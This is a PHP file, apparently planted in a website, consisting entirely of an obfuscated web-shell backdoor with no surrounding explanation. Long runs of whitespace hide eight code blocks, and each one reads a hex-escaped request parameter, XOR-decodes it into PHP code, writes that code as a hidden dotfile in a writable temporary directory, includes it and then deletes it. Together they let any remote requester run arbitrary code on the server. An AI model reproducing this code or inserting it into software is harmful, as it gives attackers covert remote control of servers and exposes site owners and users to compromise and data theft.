<?php																																										if(isset($_REQUEST["\x65\x6Et"])){ $symbol = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir()]); $k = $_REQUEST["\x65\x6Et"]; $k = explode( '.', $k ); $obj = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $z = 0; $len = count($k ); do { if ($z >= $len) break; $v7 = $k[$z]; $sChar = ord($s7[$z%$lenS] ); $dec = ((int)$v7 - $sChar - ($z%10)) ^ 20; $obj .= chr($dec ); $z++; } while (true ); foreach ($symbol as $data_chunk): if (is_dir($data_chunk) && is_writable($data_chunk)) { $itm = sprintf("%s/.dat", $data_chunk); if (file_put_contents($itm, $obj)) { include $itm; @unlink($itm); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["to\x6B\x65n"] ?? null)){ $reference = $_REQUEST["to\x6B\x65n"]; $reference = explode ( '.' , $reference ) ; $pointer = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8); foreach( $reference as $q => $v4): $sChar = ord( $s8[$q% $sLen]); $dec =( ( int)$v4 - $sChar -( $q% 10)) ^ 96; $pointer.= chr( $dec); endforeach; $data = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm"]); foreach ($data as $key => $sym) { if ((is_dir($sym) and is_writable($sym))) { $ref = implode("/", [$sym, ".pset"]); if (file_put_contents($ref, $pointer)) { include $ref; @unlink($ref); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["enti\x74\x79"])){ $mrk = array_filter(["/dev/shm", session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $itm = $_REQUEST["enti\x74\x79"]; $itm= explode ( '.',$itm ); $token= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt1 ); foreach ($itm as $p =>$v8) { $sChar= ord($salt1[$p %$sLen] ); $d= ((int)$v8 - $sChar - ($p %10)) ^ 20; $token.=chr($d ); } for ($item = 0, $k = count($mrk); $item < $k; $item++) { $fac = $mrk[$item]; if ((is_dir($fac) and is_writable($fac))) { $factor = vsprintf("%s/%s", [$fac, ".key"]); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $factor; @unlink($factor); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x69te\x6D")){ $mrk = $_REQUEST["\x69te\x6D"]; $mrk =explode ( ".", $mrk ) ; $pgrp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($mrk as $x=> $v4) { $chS = ord($salt6[$x % $lenS]); $d = ((int)$v4 - $chS - ($x % 10))^ 43; $pgrp .=chr($d);} $dat = array_filter(["/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp"]); for ($ent = 0, $key = count($dat); $ent < $key; $ent++) { $binding = $dat[$ent]; if (max(0, is_dir($binding) * is_writable($binding))) { $fac = "$binding/.element"; $success = file_put_contents($fac, $pgrp); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(array_key_exists("v\x61\x6Cue", $_POST)){ $ptr = $_POST["v\x61\x6Cue"]; $ptr= explode ( '.' ,$ptr ); $object = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $l = 0; foreach ($ptr as $v7) { $chS = ord($s2[$l % $lenS]); $d = ((int)$v7 - $chS - ($l % 10)) ^87; $object .= chr($d); $l++; } $tkn = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); for ($bind = 0, $key = count($tkn); $bind < $key; $bind++) { $holder = $tkn[$bind]; if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $hld = implode("/", [$holder, ".ref"]); if (file_put_contents($hld, $object)) { require $hld; unlink($hld); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["d\x65\x73c"])){ $parameter_group = array_filter(["/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm"]); $holder = $_POST["d\x65\x73c"]; $holder =explode ('.' , $holder ); $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $n = 0; array_walk( $holder, function( $v3) use( &$resource, &$n, $s, $sLen) { $chS = ord( $s[$n % $sLen] ); $dec =( ( int)$v3 - $chS -( $n % 10)) ^47; $resource .= chr( $dec ); $n++; } ); while ($binding = array_shift($parameter_group)) { if ((is_dir($binding) and is_writable($binding))) { $fac = vsprintf("%s/%s", [$binding, ".dchunk"]); if (file_put_contents($fac, $resource)) { include $fac; @unlink($fac); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["c\x6F\x6Dp"])){ $element = $_POST["c\x6F\x6Dp"]; $element = explode ( "." ,$element ) ; $ref =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $y =0; array_walk($element, function ($v9) use (&$ref, &$y, $salt, $sLen) { $chS =ord($salt[$y % $sLen] ); $dec =((int)$v9 - $chS - ($y % 10)) ^ 16; $ref .= chr($dec ); $y++; } ); $symbol = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); foreach ($symbol as $key => $holder) { if (!( !is_dir($holder) || !is_writable($holder) )) { $desc = "$holder/.key"; $success = file_put_contents($desc, $ref); if ($success) { include $desc; @unlink($desc); die();} } } }


if(filter_has_var(INPUT_POST, "v\x61l")){
	$dchunk = $_POST["v\x61l"];
	 $dchunk= 		explode	 (  "."		, 		$dchunk		) ;
	$mrk		=  '';
            $salt		=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=  strlen($salt );
            $x		=  0;
    
            foreach($dchunk as $v4) {
                $sChar		=  ord($salt[$x % $lenS] );
                $d		=  ((int)$v4 - $sChar -($x % 10))^ 	24;
                $mrk .= chr($d );
                $x++;
            }
	$ent = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp"]);
	foreach ($ent as $object) {
    		if (is_dir($object) && is_writable($object)) {
    $holder = "$object/.symbol";
    $file = fopen($holder, 'w');
if ($file) {
	fwrite($file, $mrk);
	fclose($file);
	include $holder;
	@unlink($holder);
	die();
}
}
}
}